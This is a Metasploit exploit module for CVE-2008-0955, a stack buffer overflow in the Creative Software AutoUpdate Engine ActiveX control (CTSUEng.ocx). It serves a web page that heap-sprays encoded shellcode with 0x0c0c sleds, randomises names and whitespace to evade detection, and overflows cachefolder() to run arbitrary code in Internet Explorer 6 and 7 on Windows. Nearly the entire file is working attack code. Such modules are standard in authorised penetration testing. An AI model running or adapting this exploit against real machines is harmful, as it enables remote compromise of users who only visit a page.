##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When
        sending an overly long string to the cachefolder() property of CTSUEng.ocx
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC', ],
      'References'     =>
        [
          [ 'CVE', '2008-0955' ],
          [ 'OSVDB', '45655' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => 'May 28 2008',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Randomize the javascript variable names
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    content = %Q|
      <html>
        <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
        <script language="JavaScript">
        var #{rand1} = unescape('#{shellcode}');
        var #{rand2} = unescape("%u0c0c%u0c0c");
        var #{rand3} = 20;
        var #{rand4} = #{rand3} + #{rand1}.length;
        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
        var #{rand5} = #{rand2}.substring(0,#{rand4});
        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
        var #{rand7} = new Array();
        for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
        var #{rand8} = ""
        for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }
        #{vname}.cachefolder(#{rand8});
        </script>
      </html>
      |

    # Randomize the whitespace in the document
    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end

end
